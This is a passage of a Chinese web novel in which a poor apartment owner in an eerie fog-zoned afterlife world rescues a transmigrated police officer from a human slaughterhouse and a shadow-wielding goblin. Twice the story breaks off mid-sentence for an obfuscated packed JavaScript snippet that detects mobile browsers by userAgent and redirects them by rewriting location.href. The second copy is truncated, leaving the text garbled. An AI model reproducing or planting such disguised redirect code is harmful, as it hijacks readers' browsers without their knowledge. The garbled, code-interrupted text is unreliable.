谢倦迟不死心的又清点了一遍。还是不够。左思右想,最后得出两个结论。 一,招揽租客。 二,去抢。 第一个,招租客。公寓还空着不少房间,如今住了十分之一都不到。要是能招来几个新租客,交点押金,交点首月房租,凑个十天半个月不难。 问题是上哪儿招—— 诡异世界分四片雾区。 白雾区最安全,游荡的诡怪实力最弱。弱到什么程度?打个比方,白雾区的诡就像刚出生的婴儿,除了长得吓人,基本没什么战斗力。 当然,是相对谢倦迟来说,对普通人而言强度还是太高了。 紫雾区稍强,并且这里的诡怪开始有点理智了,能沟通。 但强的程度有限,如果说白雾区的诡是婴儿,紫雾区的诡就是小学生。能跑能跳,会耍赖会哭,但真要动起手来,成年人一巴掌能扇飞三四个。 红雾区就不一样了。 红雾区是大诡的地盘,那些玩意儿随便拎一个出来,都是能毁城的主。它们有理智,有智慧,有实力,而且脾气普遍都不太好。 谢倦迟要是敢去红雾区,估计刚踏进去就被撕成碎片当零食。 至于黑雾区。 谢倦迟往走廊窗户外面瞥了一眼。 窗外是被血月统治的天,远处的黑雾翻滚着时不时传出来几声毛骨悚然的动静,里面偶尔会闪过一些影子,大的,小的,扭曲的,看不清是什么,但肯定不会是好东西。 黑雾区,被称为禁区。没有诡能从里面出来,也没有诡敢进去。 他的公寓就坐落在黑雾区里。 公寓楼外一百米,就是那层翻滚的黑雾,雾里有什么,谢倦迟不知道,那些动静,哭的,笑的,尖叫的,低语的,还有那种说不出来的像什么东西在地上爬的窸窣声,听多了会头疼,也许会精神分裂都说不定。 后来谢倦迟就学乖了,不去听。 但黑雾区里的东西不会放过他。 祂,或者祂们对这栋楼虎视眈眈,也对谢倦迟虎视眈眈。 谢倦迟站在窗边的时候,偶尔能看见雾里似乎有眼睛在盯着这边,他感受到了被注视。 所以他很少出去。 公寓就像他的壳,在楼里,他是无敌的,只要他不出去,黑雾区里的存在就拿他没办法。 但只要他踏出楼门......就不一定了。 可是不管是找租客还是抢劫,都得出去啊。 真的要为了现世的钱,冒这个险吗? 反正也饿不死,只是生活质量差点...... 谢倦迟靠在沙发上,眼睛盯着天花板,脑子里过着这些念头。半晌,他坐起来,走到零食柜前,拉开柜门。 柜子里空了大半,角落里躺着几包袋装方便面,各种口味的挤在一起,包装袋皱皱巴巴。 谢倦迟盯着那几包方便面,盯了很久。 几个月了。 他吃这玩意儿吃了几个月了。 早上方便面,中午方便面,晚上方便面。偶尔改善伙食,把两包面煮成一锅,加个蛋——但是最近蛋也快吃不起了。 他好想吃火锅,热腾腾的,辣油翻滚的。也想吃烤串,滋滋冒油的肉串,撒上孜然和辣椒面,咬一口满嘴流油。还想吃红烧肉、想吃糖醋排骨、想吃街边摊的煎饼果子,加肠的那种...... 想喝奶茶。想喝可乐。想吃冰淇淋。 总之除了方便面,什么都想吃。 谢倦迟喉结动了一下,把柜门关上。 吃喝嫖赌,吃喝为什么排在前面,是有原因的。 冲了。 4. 第 4 章 裴沉不愿放弃生的希望,但现实是他一点办法都没有。眼看按照笼子顺序宰杀马上就要到自己了,裴沉再沉着现在也无法冷静下来了。 眼下这个必死的局,他要如何求生? 终于还是到他这个笼子了。 笼子被放下来,“吱呀”一声,被打开,声音刺耳得令人头皮发麻。 里面的人瞬间炸了,拼命往后挤,谁都不想当第一个。有人哭出声,有人跪下来求,有人抱着头缩成一团,嘴里念念有词,不知道在求哪路神仙。 裴沉没动。 他盯着敞开的笼门,看着门外那个戴猪头罩的身影。身上的警服已经脏得看不出本来的颜色,好在质量佳,没破没烂,穿在他身上还是那副骨架撑起来的样子。 ——他忽然想到一件事。 工厂是封闭的,至少他待的这间厂房是封闭的。四周是墙,头顶是铁皮棚,看不见天空,看不见太阳月亮,是以没法估算时间。 但体感上,已经过去很久了。至少两三天?也许更长。 然而在这期间,他没感觉到饿。也没想上厕所。 不说人了,生物最基本的吃喝拉撒一个没有,这合理吗? 裴沉思考过很多种可能,觉得最有可能的是这邪恶加工厂在他昏迷的时候给他注射了什么药剂,抑制了生理需求。 “不要!不要选我!” 尖叫打断了他的思绪。 一个面色饥黄瘦得皮包骨的女人被挤了出来,头发乱糟糟的黏在脸上,她在推搡中被后面的人推到了最前面,踉跄几步,跌坐在笼子边缘。 工人一把抓住她的胳膊,手劲大得离谱,女人整个身子都被提起来,脚尖点地,疼得脸都扭曲了。 裴沉知道自己什么都做不了,他连自己都救不了,但他还是冲上去,一把抓住女人的另一只手臂。 两相用力。 女人发出一声惨叫:“啊——要断了!” 裴沉咬牙,脸色涨红,无奈工人的力气比他大太多了,他哪怕拼尽全力,也只能勉强和对方形成僵持,这还是对方应该没怎么用力的情况下。 这样下去不是办法。 而就算他和工人旗鼓相当,对方不放手,他也不放手,最后的结果只能是女人被撕成两半。 思及此,裴沉只得松手。 松开的刹那,女人被拽了出去。工人拖着她就走,像拖一只待宰的鸡。 笼门下一秒“哐”的一声关上。 那个工人走之前,回头看了裴沉一眼。空洞的猪头罩眼眶里,两只眼睛藏在阴影深处,阴森渗人。 其他人见状,纷纷往后退,离裴沉远远的,深怕被牵连。 被工人记住可不是什么好事,虽说工人们是讲究效率,但时间不紧迫的时候,他们也不介意虐杀。 本来被杀就很惨了。被虐杀,更惨。 女人的惨叫声很快传来。那声音尖利,刺耳,从厂房另一头传来,在铁皮棚顶下回荡。不过只叫了几声,就停了。 裴沉站在原地,脸色难看。 在这个不亚于地狱的地方,裴沉精神没有崩溃,没有吐出来,都算他心理承受能力高的,但现在,就在他眼前的人,他伸手就能救下的人,却因为自身能力的不足而救不下,对裴沉的打击是很大的。 打击更大的,是他救不了任何人这个事实。 比恐惧和悲伤更强烈的是愤怒。 裴沉咬紧牙关,两只手握紧成拳,攥得骨头咯吱响,指甲都陷进了肉里,他却感觉不到疼。只觉一股火从胸口往上烧,烧到喉咙,烧得他眼睛发红。 大约十分钟后,那名工人回来了。 他再次打开笼门,这一次他没有像之前那样随手抓一个最近的,而是直奔裴沉。 裴沉往后退了一步,没往人群里躲,这样没用,反而会把别人卷进来。 工人伸手来抓。 裴沉侧身一让,那手擦着他过去,抓了个空。 工人愣了一下,随即又伸手。 裴沉再一闪,又一次躲开。 工人:“?” 第三次伸手。 裴沉这回往下一蹲,从工人腋下钻过去,闪到另一边。 工人的动作开始急躁,几次抓空,那双手挥舞的速度越来越快,呼吸也粗重起来。 裴沉就像条泥鳅,滑不溜手,每次眼看就要抓住了,又从指缝里溜走,看得周围人都呆了。 工人的耐心消耗殆尽,从喉咙里发出一声低沉的咆哮,两只手同时张开,朝裴沉扑过去。这一下要是扑实了,躲都没地方躲。 “咳。” 一声轻咳,从身后传来。 工人僵在半空,猛地收手,转过身,垂下头,恭敬喊道:“厂长。” 李富贵不知道什么时候来的,背着手,站在笼前,目光从工人身上扫过,接着抬起下巴,朝旁边示意了一下。 工人连忙照做,退出笼子。 李富贵不是一个人来,身后还有一个人。 长得跟地精似的,八十厘米高,披着一件灰扑扑的斗篷,兜帽半掩着,露出底下那张脸,鼻子又尖又长,尖端上长着一个脓包,眼睛小,闪烁着精光,滴溜溜转着,往笼子里的人身上打量。 李厂长带着那个地精一样的生物,走到笼子前。 “这些都是刚抓来的新鲜货,童叟无欺。” 地精闻言往前凑了凑,尖鼻子几乎要伸进笼子缝隙里,视线朝里扫荡了一圈,而后收回目光,跟李富贵低声说了句什么。 李富贵点点头,脸上露出一丝笑。 好消息:裴沉没死。 坏消息:被卖了。 和他一起被卖的还有二女一男。 四人被赶进一个木头箱子。说是箱子,其实更像运牲口的笼子,四面木板,底部钉着粗铁条。 “进去!” 地精的声音尖细刺耳,像指甲刮过黑板。裴沉刚踏进去,身后就传来“砰”的一声,木板门关上了。 接着身下一阵腾空,箱子被抬起来,晃了几下,“咚”的一声落在什么东西上,然后是一阵震动,像发动机启动。 应该是被搬到了车上。 箱子开始晃动,不知道要去哪儿,不知道要走多久,更不知道等待四人的又是怎样的地狱。 裴沉却感到激动。 机会来了! 他深吸一口气,让眼睛努力适应箱子里的黑暗。 木板缝里泄入的光太弱,只能照出模糊的轮廓。其他三个人缩在角落,看起来已经认命。 裴沉不认命,他四处摸索起来。 木板很粗粒,有些地方长了霉。铁条锈迹斑斑,用力掰了掰,纹丝不动。缝隙有几条宽的手指能塞进去,但不够人钻。 ......他顺着箱壁摸了一圈,最后在侧面摸到一块松动的木板。 这里的钉子没钉牢,铁钉是斜着钉进去的,只吃住一半。 裴沉沉住气,靠在箱壁上,听着外面的动静。 一段时间后,车停下。 箱子重重一顿,落了地。 外面有脚步声,说话声。地精尖细的嗓门似乎在吩咐什么,听不清,然后是渐渐远去的脚步声。 裴沉等了一会儿,脚步声彻底没了,四周安静下来。 他抓紧行动,摸到那块松动的木板,用肩膀顶住,脚蹬在对面箱壁上,用力一蹬。 “咯”的一声响。 铁钉退出来半截。 裴沉停下来,竖起耳朵听。外面没动静。 继续。 一下。两下。三下。 木板渐渐整个被他顶开,露出一道半米宽的缝。 裴沉小心翼翼地探出头去。 外面是空地,不远处有建筑的轮廓,黑黢黢的。 他回头看了一眼箱子里的三个人。 “走。”他压低声音,“跟我走。” 没人理他。 裴沉咬牙:“走啊!能跑!” 还是没反应。 死死盯着三人看了几秒,裴沉做出了一个决定。 他钻进箱子,一手一个,先拽起两个女的,然后踢了男的屁股一脚。 “起来!” 男的哆嗦了一下,抬头看他,听话地爬起来。 三个人被裴沉带出箱子,跌跌撞撞往空地外面跑。 是个黑天,月亮被云雾挡住,四周很黑。 裴沉的心脏在胸腔里狂跳。 快一点,再快一点,跑出去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320968|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑到那些建筑里去,找地方躲起来—— “吱。” 一声尖细的叫声从身后传来。 裴沉回头。 长得跟地精似的家伙回来了,站在车边,阴冷的看着他们。 裴沉头皮一炸。 “跑!”他把手里两个女人往前一推,“跑!跑快点!” 三人这会终于不傻了,撒腿就跑。 裴沉跟在后面,脚下生风。 跑了二十米,回头。 地精还在那儿站着,没追上来。 再跑二十米,再回头。还是没动。 裴沉放慢速度。 不对,地精的反应像猫看着老鼠往死路上跑,不追,是因为知道猎物跑不掉。 等等,难道—— 他张嘴刚想喊住跑在前面的三人。 “啊!” 一声凄厉的惨叫。 跑最快的男的忽然停住,他是戛然而止的,停得很突兀,就像是被按下了静止键,身子往前倾,一只腿抬起没来得及落地。然后开始抖,剧烈地抖,抖得像筛糠。 裴沉瞳孔骤缩。 他看见男的脚下踩着个东西,是他自己的影子,只见影子从男人脚下伸出来,像活了一样,缠住男的脚踝往上爬。 两个女的见状立即转身往另外的方向跑,但下一秒她们也骤然停住。 同样的状况,影子从她们脚下爬上来,缠住脚踝,小腿,膝盖...... 裴沉从这玄幻得不可思议的画面中回过神,下意识低头看自己的脚。 他的影子安静地躺在地上,一动不动。 一阵犹如针刺的莫名危机感这时倏然袭来,裴沉眼皮一跳,条件反射朝旁边迅速拉开两步,刚松口气,又是一阵莫名的危机感。 裴沉咬牙照着危机感的‘提醒’一路狂奔。 一百米。 五十米。 十米。 那些建筑的轮廓越来越近,终于看清了,是楼,高楼,商业区的那种高楼。有玻璃幕墙,有暗淡的没有通电的霓虹灯招牌,有路边摊......什么都有,唯独没有人。 一个人都没有。 裴沉冲进街道,确认前路没有障碍物,忍不住回头看了一眼。 地精站在街口,月光下,它瘦小的影子拉得很长,阴恻恻的注视着他。 *** 这世上真有人为了一口吃的把自己往险境里送吗? 别人不知道,谢倦迟真干了这种事。 彼时他站在一家商场的二楼,停下脚步,转头看旁边的服装店。橱窗里挂着几件展示用的衣服,他定定看了几秒,确定自己五分钟前见过。 又绕回来了。 他靠在栏杆上往下看了一眼。 商场是中空的,一楼到五楼贯通,天井中央立着一根透明的巨大圆形水柱,里面灌满了水,应该是用来观览各式各样的鱼类的,但如今里面什么都没有,就像这个商场里没有一个人。 谢倦迟本来是准备去紫雾区招揽租客/抢劫的,奈何刚出门就被盯上,那些玩意儿平时只敢在雾里盯着他,不敢出来。但他一踏出公寓楼门,它们就动了,追了他一路。 他跑,它们追。他躲,它们找。他甩不掉它们,它们也抓不住他,不过后者到底更胜一筹,逐渐把他逼得偏离了路线,落地到了隔壁红雾区。 放眼望去到处都是红雾,薄薄一层,飘在空气里,像血稀释过的颜色。 好在他身上带着一个诡物,作用是消减存在感,戴上之后,只要不动不说话,就跟块石头差不多。靠着这个,他一落地就缩进商场里,苟到现在,没被红雾区的那些大诡发现。 只要等两个小时,cd转完后,他就能走了。 ——通道的冷却时间是三小时。他进来才一小时。还得等。 谢倦迟收回目光,从栏杆边退后几步,靠在旁边的柱子上。商场里安静得吓人,只有他自己的呼吸声。他尽量把呼吸放轻,然后一动不动地缩着,像一根长在柱子边的影子。 “哒,哒。” 脚步声,从楼下传来。 谢倦迟眯了眯眼,透过栏杆的缝隙,看向一楼。 一个灰扑扑的人影从商场门口走了进来。 5. 第 5 章 裴沉喘着粗气,目光扫过眼前空荡荡的大厅。 八十厘米高,勉强还能用侏儒症来解释,毕竟外形相貌什么的还能看出人样。 但那玄幻一样的手段就再也不能用常理解释了。 ——穿越。 裴沉只能想到这个原因了。还是身穿的那种。 也不知道那个长得跟地精似的现在已经可以排除是人类的生物为什么没追上来,虽然这是件好事,裴沉却仍放不下心。 这座城市一个人,或者说生物都没有,太诡异了。 还有那股提醒他躲避地精攻击的危险感知不仅没有消退,还越来越强烈了。 裴沉是看过小说的,虽说小说不能当真,但现在完全可以拿出来当参考。譬如他穿越的世界是个超凡世界,这里人类不是唯一主宰,还有各式各样的智慧生命......而他身为穿越者,也觉醒了属于自己的那份超凡能力—— 那就是对危险的感知。 攻击层面上的强度是低了点,但总比没有好,而且这能力应该适合后期发展,届时说不定会有意想不到的作用。 当然了,前提是他能活下来。 言归正传。 一路跑过来,裴沉半点不敢停。 这座城市一个人都没有,街道空空荡荡,卖服装的店铺橱窗里用来展示的人偶穿着衣服,摆着各种姿势,一动不动。 但他总觉得它们在看他。 每次经过这些橱窗,那种危机感就会加重,像有什么东西藏在那些人偶的眼睛里,虎视眈眈的盯着他。 于是裴沉尽量避开橱窗,也躲开那些让他直觉危险的地方。 就这样一路小心前行,像一只警惕的山猫,最终来到了这座商场。 按理说商场更危险,因为店铺更多,尽管目前还不能确定危险的是店铺,但是确实是那些店铺总能带给他危机感。 裴沉犹豫了下,最终还是选择相信自己的直觉。可踏入商城的第一时间他就后悔了。 危机警报瞬间拉满,有那么一刻,他产生了自己会死的想法,不,不是想法,是结果。 不是“可能会死”,是“一定会死”。但与此同时,求生欲也爆了棚,把他的身体从僵直中扯出来,推着他往前冲。 裴沉冲上停止运转的电梯,冲过二楼平台,冲到栏杆旁边一根柱子前——他不知道为什么要往这跑,完全是遵循本能,像有什么东西在给他引路。 就像先前从地精手中逃命一样。 然而危机感还在。 那种会死的感觉还在。 就在裴沉以为自己这次真的死定了的时候,一只手忽然从柱子后面的阴影里伸出来,一把拽住裴沉的胳膊,把裴沉往暗处拽。 裴沉下意识反击,这是他在部队里生活时刻进骨子里的肌肉记忆,根本不过脑子。 那只手却只是随意的一拧,就把他的反击卸了,然后往下一压,将他整个人按在柱子上,动弹不得。 “别动,找死别带上我。” 裴沉不动了。 他的直觉告诉他,按着他的人没有恶意。 月光从商场顶棚的玻璃天窗漏下来,照在一根根柱子上,投下长短不一的影子。 有什么东西从影子上游了过去,像鱼在水里游,从这根柱子的影子,游到那根柱子的影子,无声无息,只有影子表面泛起轻微的涟漪,像水面被搅动。 裴沉大脑一片空白。 那东西游过他们藏身的柱子时,他整个人像被雷劈中,直接宕机。等那东西游远了,他才渐渐回过神来,从应激状态中脱离。 冷汗已经浸透了衣服,汗珠挂满了额头。好一会儿,那种恐怖的危机感才渐渐消散。 虽然依旧有危机感存在,但经历了这么一遭,裴沉大致摸出了某种规律,这种规律很玄妙,说不清道不明,更像是一种本能。 总之他能肯定的是,现在暂时是安全的。只要动静别闹太大,再把那东西引回来。 裴沉回头,看向身后控制自己的人。 眼睛此时已经完全适应了黑暗,是以纵使很黑,他还是隐约看见了对方的轮廓。 是个年轻人,个子很高,比他高还高一些,他自己一米八一,对方应该在一米八五左右。穿着一件冲锋衣,领口竖起来,遮住半张脸。但从仅露出的上半张脸,就能看出其骨相和五官的优越。 裴沉职业本能的把这张脸记下来,同时快速分析一通,明面上不动声色的问道:“你是谁?” 年轻人面无表情的看着他,“一个差点被你牵连的无辜人。” 听出话语里抱怨的意味,裴沉不好意思的笑了笑,诚恳道歉:“抱歉。” 兴许是他良好的态度,年轻人眼神诧异的上下打量了他一眼。 “你看起来很弱,在白雾里都算最弱的,基本上只能当食物,处于这个诡异世界食物链的最底层,居然还能保持理智,逻辑也很顺畅。真难得。” 裴沉抓住关键词,赶忙虚心求问:“白雾级?诡异世界?” 按理说裴沉不该问的如此直白,这跟告诉对方他不对劲有什么区别。 但他的直觉告诉他,年轻人不会害他。 年轻人闻言,眼神更诧异了。不过那诧异只是一闪而过,很快便恢复成那副冷淡的模样。 “你可以把这个世界当作属于诡怪的世界,共分四片区域,因区域特征得名。从低到高,分别是白雾区、紫雾区、红雾区和黑雾区。” 谢倦迟简单描述了一下各区的特点。白雾区最弱,紫雾区稍强,红雾区是大诡异的地盘,黑雾区—— 说到黑雾区,他停了一下,没往下说。 裴沉认真听着,把这些信息牢牢记住。 谢倦迟说完,忽然注意到什么,视线停在裴沉手臂上。 那里绣着一个小小的旗帜图案,已经被灰尘蹭得发暗,但依然鲜亮,至少对于谢倦迟来说。 一个念头浮上脑海,谢倦迟呼吸一滞,从裴沉身上脏的看不出原型的衣服渐渐拼凑出熟悉的感觉。 他目光定了定。 “你是华国警察?” *** 两个小时后,通道cd刷新,谢倦迟带着裴沉返回公寓。 谢倦迟:“随便坐。” 裴沉警惕的观察着四周骤然改变的环境,虽然谢倦迟提前打过招呼,但保持警惕没有坏处。 十来平米的客厅,装修的很温馨,恍然间让裴沉有种回到地球的感觉。 他刚想说点什么,谢倦迟已经走向零食柜,拉开柜门,头也不回的问:“吃什么?” 裴沉张了张嘴,想拒绝。不说他现在一点都不饿,就算饿,他也不好意思吃人家的。 但还没来得及开口,谢倦迟已经开始报菜名了:“红烧牛肉,泡椒牛肉,西红柿鸡蛋,小鸡炖蘑菇,红烧牛肉,红烧牛肉......” 裴沉忍不住提醒:“你重复了。” 说着,他忧心的想谢倦迟脑子没问题吧?比如那种阿尔海滋默病,虽然一般都是老年人得这种病,但年轻人也不乏有得这病的。这种反复念叨的劲儿,真有点像...... 谢倦迟:“哦,我是拿一包跟你说一包。” 裴沉:“......泡面?” 谢倦迟一只手搭在柜门上,转过头看他,一副不然呢的表情:“嗯。” 裴沉抽了抽嘴角。 吃泡面他就没有不好意思了。 “那给我来一包红烧牛肉的吧。” 谢倦迟从柜子里拿出两包泡面。一包红烧牛肉,一包小鸡炖蘑菇。然后去烧水泡面。 裴沉看着他手里那包小鸡炖蘑菇,忍不住道:“小鸡炖蘑菇?这口味吃的人很少。去超市,一般都是没人买,最后剩下的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320969|199051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢倦迟顿住,幽幽回了句:“其他口味吃腻了。小鸡炖蘑菇是不怎么好吃,但对我来说至少算个新鲜味儿。” 裴沉愣了下:“不能吃别的吗?” 谢倦迟:“我穷。” 裴沉万万没想到是如此朴实无华的理由。 谢倦迟泡好面走过来,把泡面放到茶几上,坐下,冷不丁开口:“我救了你。” 裴沉没反应来:“嗯?” “报酬。” 谢倦迟今天出门的目的就是找钱,这事他一直没忘。不过找裴沉要钱,也就是随口一说,他不觉得这人身上能掏出什么值钱的东西。 裴沉脸上闪过一丝尴尬:“我现在身上没有钱......” 果不其然。 谢倦迟正想说他开玩笑的,裴沉忽然把手伸进衣服口袋里,掏了掏,拿出一张银行卡。 “差点忘了——你知道的,现在流行线上支付,很少有人带卡了。我连钱包都不带,拿手机就行。”说着,他把卡递到谢倦面前,“也是巧,穿越那天我准备下班去取点钱给我父母。现金现在主要就是个祝福的用处,那天我母亲生日......” 他的话多起来,碎碎念似的,要是换个没耐心的,早烦了。 谢倦迟其实也没多少耐心,但他没打断。他理解也包容裴沉是因为压力太大。 “不好意思,我话有点多。”裴沉也意识到自己在絮叨,讪讪住了口,把银行卡又往前递了递。 谢倦迟接过,不客气地塞进口袋。 “密码。” “491001” 谢倦迟看了裴沉一眼。 “之前那地方不安全,不是适合谈话的场合。”他用筷子搅了搅半软的面条,“看在你支付报酬的份上,有什么问题,问吧。” 裴沉眼前一亮。 “你也是国人?” “嗯。” “你也是穿越过来的吗?” “算是。” “你在这里生活几年了?” “九年。” 裴沉震惊:“什么?!那你穿越过来的时候应该还是个小孩子?” “嗯。” “天......你怎么活下来的?” 谢倦迟用叉子搅了搅面:“这栋公寓是我的地盘。在我这,我是绝对安全的。” 裴沉若有所思地点点头,把公寓当成谢倦迟的能力,一边感慨谢倦迟的能力比自己的能力厉害多了,一边说起自己的遭遇。从人肉屠宰场,到长得跟地精一样的生物的影子攻击。以及—— “我应该也觉醒了超能力。”他说,“对危险的感知。那个地精想抓我的时候,我能感觉到它的攻击在哪儿,往哪儿跑能躲开。” 谢倦迟听完,预料之中的语气:“哦,怪不得。” “什么?” “你这能力挺厉害的,居然指引你找到我。” 裴沉怔了下,随即咧嘴一笑。 他长得不错,标准的浓眉大眼,剑眉星目,用网上的话说,就是那种标准的老式帅哥长相,看着就让人放心。 “说起来,你这栋公寓在什么区?”裴沉忽然想起一个严肃的问题。 谢倦迟睨了他一眼:“你知道这个干什么?” “我是警察。”裴沉收起笑,认真的看着谢倦迟,“我还比你大,你是我国公民,不管在哪个世界都是。我理应保护你。你把情报告诉我,我就能更好的保护你。” 他说得认真极了,像是在发誓。 谢倦迟看得出来,这不是为了套话说的漂亮话,裴沉是真这么想。 垂下眼睫,谢倦迟没接话,低头看着面前完全泡开的面,吸溜了一口。 裴沉:“嗯?” 谢倦迟咽下嘴里的食物,才抬眼看他。 “得了吧,我不需要你保护,不过我倒是需要一个公寓保安。” 6. 第 6 章 裴沉被谢倦迟安排在隔壁1001房——谢倦迟是1000房。房间格局都差不多,布置也差不多,区别不大。 夜已经很深了,裴沉用公寓自带的清洁用具将自己洗干净,换的衣服是向谢倦迟借的。 裴沉很不好意思,询问谢倦迟在诡异世界怎么赚钱。 谢倦迟:“你太弱了,保住自己的小命都够呛,别说赚钱了。诡异世界好比丛林世界,弱肉强食,动物世界看过吧,一样的。而你处于这个世界的最底层,这么说,你能明白吗。” 裴沉:“......明白。” 可他总不能一直白吃白喝谢倦迟的吧?时间短还好,时间长了,那就连亲爹亲妈都看不顺眼,别说别人了。 裴沉简直要愁死了。 谢倦迟看出裴沉的愁绪:“别误会,我不是白白收留你,你当我公寓的保安,就当是给我打工,包你吃喝。” 裴沉知道谢倦迟是不想让他心理负担太重,毕竟人家都说过了,在他的地盘他是绝对安全的,而哪怕是不安全,人家也比他强,他拿什么保护人家? 裴沉深吸一口气,“我会努力变强,不拖你后腿,尽力帮你的,有什么我能做的,你尽管吩咐我。” 谢倦迟很满意裴沉的识相。 升米恩,斗米仇。心里有数的人才能长久,这也是他愿意救下裴沉,并把裴沉带到自己公寓的原因。 ——要是裴成是那种白眼狼,自私自利的人,他根本不会搭理。 谢倦迟:“行了,已经很晚了,休息吧,明天再说。” 裴沉:“好。” 谢倦迟临走前,回头警告了一句:“晚上不要开窗,也不要往窗外看,对你来说外面很危险。在我的公寓里,你确实是安全的,但是外面的东西有可能把你勾引离开公寓。” 裴沉肃然一凛:“我知道了,谢谢你提醒我。” 谢倦迟走了,裴沉看着房间进来时就是拉上的窗帘,想起谢倦迟说的话,虽然好奇,但是经历了屠宰场和地精一事,他深知这个世界非常危险,人不作死就不会死。 转回头,裴沉关上房间灯,躺上床闭眼休息。 说来也怪,在屠宰场的时候他不困不饿,一来公寓他又困又饿,现在吃饱喝足,一躺上床,几乎是刚闭眼,就睡着了。 不过这一觉裴沉睡得极不安稳,像有人把他一把推下悬崖,坠进一片幽深的黑暗里。 四周是熟悉的铁栏杆,空气里弥漫着浓浓的血腥味。 铁笼子悬在半空,昏黄的灯在头顶晃,照出地上大片黑红的血迹。 一群人围着他,他们盯着他。 “为什么不救我?” “你松手了!” 声音从四面八方涌来,越来越尖锐。那些脸也开始扭曲,五官往下淌,像蜡烛融化。有人伸手来抓他,指甲又长又黑,抠进他皮肉里。 他想躲,却动不了。低头一看,地上伸出无数只手,抓着他的脚,把他钉在原地。 与此同时,那些戴猪头罩的工人从阴影里走出来,一把把刀举起来,刃口反射着昏黄的灯光。 那些手还在抓他。从各个方向,各个角度,每一只手力气都大得离谱,像要把他的肉从骨头上撕下来。 “放手!”他终于吼出声,但没人理他。 那些手同时发力。 他感觉自己被撕开,五脏六腑往外淌—— 猛然惊醒。 裴沉睁开眼,大口喘气。 外面的天已经亮了。 窗帘不算太厚,没能完全隔绝阳光。 心脏还在狂跳。 裴沉抬手抹了一把脸,满手是汗。后背的衣服也湿透了,贴在身上,凉飕飕的。 坐在床上缓了好一会,深呼吸了几次,才把那股从噩梦里带出来的战栗压下去。 掀开被子,裴沉下床,去洗手间洗漱。冷水扑在脸上,终于清醒了点,正准备去找谢倦迟,房门被敲响了。 裴沉开门。 谢倦迟站在门口。 阳光从走廊窗户照进来,在青年身上镶了一层淡金色的边。他换了身衣服,宽松的白T,黑色工装裤,整个人又高又长。头发略微凌乱,反而有种慵懒的惬意感,衬得那张脸更冷淡。 加上高挺的眉骨,疏离的眼神......好一个清冷厌世的酷哥。 但一开口,形象就崩塌了。 “吃泡面吗。” 裴沉愣了下,笑道:“吃!” 早餐是在谢倦迟屋里吃的。 谢倦迟坐在对面,筷子挑着面,有一口没一口地往嘴里送。眼皮耷拉着,眼底两片青黑在日光下更明显了。 裴沉很难不注意到。 “昨晚没睡好?” 谢倦迟无精打采的“嗯”了一声。 裴沉心里一动,表现的机会来了。 “我会一点按摩,能放松身体,要试试吗?” 谢倦迟眉梢微挑。 十分钟后。 谢倦迟趴在沙发上,脑袋枕着抱枕,裴沉坐在他旁边,手指按上他的后颈,拇指顺着颈椎两侧往下推,推了几下,又换成揉,掌根贴着肌肉打圈,把那些僵硬的结一点一点揉开。 谢倦迟的呼吸慢慢沉下去。 按着按着,裴沉不禁想起当年班长教他这些手法时的画面。 班长家是开按摩店的,祖传的手艺,他在队里闲着没事就给人按,按着按着,把半个队的人都教会了。 班长说他学得最好,穴位记得准,手劲也稳,以后退伍了开个按摩店,生意肯定好。 后来退伍了,他没开按摩店,去了警局。 收回思绪,裴沉手上动作没停。他看向趴在沙发上的人,眼睛已经闭上了,呼吸均匀,身体不再绷着。 睡着了。 慢慢收手,裴沉轻手轻脚地站起来,准备回自己屋。 一切都很顺利,半点声音没发出,但就在他准备开门的时候,身后传来一声压抑的闷哼,谢倦迟坐了起来。 裴沉:“嗯?” 谢倦迟按着胀痛的太阳穴,本来没休息好,头就不舒服,好不容易睡着了,没几分钟,又惊醒了,更难受了。 裴沉连忙走回来。 “怎么了?” 谢倦迟面色不虞:“没事儿,是我自己的问题,我睡眠一直不好。” 裴沉欲言又止,他感觉谢倦迟的状态看起来有点眼熟,他在经历过重大创伤的战友身上见到过。 “再试试吧。” 谢倦迟看了裴沉一眼,想说不用,裴沉已经伸手,压下他的手,换自己的手按在他的太阳穴上,轻轻揉了揉,另一只手扶着他的头,往沙发上放。 谢倦迟躺在沙发上,看着天花板。 “?” 倒反天罡是不是? 正想开口数落裴沉,在裴沉熟练的手法下,谢倦迟感到自己的身体开始放松,困意涌上,他闭上眼睛,再次睡着了。 这回裴沉没有见人睡着就收手,他继续按,从头部换到肩膀,从肩膀换到手臂,一套手法从头走到尾,走完一遍,再来一遍。 就这样按了两个小时。 不知道是不是穿越后身体得到了质的飞跃,这两个小时裴沉没感觉半点酸软或者疲惫,要不是谢倦迟醒了,他还能继续。 谢倦迟这边,虽然只睡了两个小时,但这两个小时是深度睡眠,没有做任何梦,睡得非常好, 头一下子不痛了,眼皮也不沉了,整个人轻飘飘的,满血复活。 他转头看向裴沉那张浓眉大眼的脸,觉得是如此顺眼。 裴沉对上谢倦迟欣慰的目光,不明所以,倒是想起了那个憋了一早上的问题。 “像我们这样的人......我是说华国人,或者地球人,来这个世界的多吗?” 谢倦迟睨了他下,忽然笑了,慢吞吞道: “我没跟你说吗?诡异世界又名里世界,里世界的反义词是表世界,表世界对应的是地球——就是你理解的穿越前的世界。” “说简单点,用你能快速理解的词语解释:诡异世界,或者里世界,其实就是死后的世界。” 房间里安静了几秒。 裴沉脸上的表情一点一点凝固。他看着谢倦迟,像没听清,又像听清了但没听懂。 “死后的......世界?” “嗯。” “那我——” “死了。” 